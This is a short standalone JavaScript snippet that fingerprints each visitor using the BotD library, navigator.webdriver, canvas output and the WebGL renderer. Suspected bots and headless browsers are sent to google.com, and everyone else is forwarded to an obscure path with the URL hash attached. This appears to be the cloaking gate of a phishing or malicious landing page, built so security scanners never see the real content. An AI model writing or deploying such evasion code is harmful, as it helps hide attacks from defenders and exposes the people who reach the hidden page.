function fallbackCheck() { let score = 0; if (navigator.webdriver) score++; const canvasFp = (() => { try { const c = document.createElement("canvas"); const ctx = c.getContext("2d"); ctx.textBaseline = "top"; ctx.font = "16px 'Arial'"; ctx.fillText("fp-test", 2, 2); return c.toDataURL(); } catch (e) { return ""; } })(); if (!canvasFp || canvasFp === "data:,") score++; const glFp = (() => { try { const c = document.createElement("canvas"); const gl = c.getContext("webgl") || c.getContext("experimental-webgl"); if (!gl) return null; const dbg = gl.getExtension("WEBGL_debug_renderer_info"); return dbg ? gl.getParameter(dbg.UNMASKED_RENDERER_WEBGL) : gl.getParameter(gl.RENDERER); } catch (e) { return ""; } })(); if (!glFp || /SwiftShader|llvmpipe|WebKit WebGL/.test(glFp)) score++; if (score > 0) { location.href = "https://google.com"; } else { const hash = encodeURIComponent(location.hash); setTimeout(() => { location.href = "/FYJXdO/"+ hash; }, 200); } } import("https://openfpcdn.io/botd/v1") .then((Botd) => Botd.load()) .then((botd) => botd.detect()) .then((result) => { if (result.bot === true) { location.href = "https://google.com"; } else { fallbackCheck(); } }) .catch((err) => { fallbackCheck(); });